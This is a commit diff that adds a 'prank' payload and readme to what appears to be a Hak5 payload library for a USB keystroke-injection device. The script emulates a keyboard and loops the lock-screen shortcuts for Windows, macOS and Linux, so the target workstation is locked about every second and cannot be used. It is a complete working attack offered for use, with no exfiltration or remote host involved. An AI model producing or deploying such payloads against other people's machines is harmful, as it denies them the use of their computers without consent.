Added the cross platform continuous locker payload

payloads/library/prank/cross-platform_continuous_locker/payload.txt

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+# Cross-Platform Continuous Locker
+# Hak5Darren
+#
+LED M FAST
+ATTACKMODE HID
+while true; do QUACK GUI l; sleep 0.5; QUACK CTRL-ALT l; sleep 0.5; QUACK COMMAND-CTRL q; sleep 0.5; done

payloads/library/prank/cross-platform_continuous_locker/readme.md

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+# Cross Platform Lock-out
+
+* Author: Hak5Darren
+* Version: Version 1.0
+* Target: Windows 95+, OSX, Linux (most WMs)
+* Category: Prank
+* Attackmodes: HID
+ 
+## Description
+
+Continuously locks the workstation every second by injecting the lock screen keyboard shortcut for each major OS.
+
+* Windows: WIN+l
+* OSX: Command+Control+q
+* Linux: WIN+l or CTRL+ALT+l
+
+## STATUS
+
+| LED                 | Status                                 |
+| ------------------- | -------------------------------------- |
+| Magenta (blinking)  | Running.                               |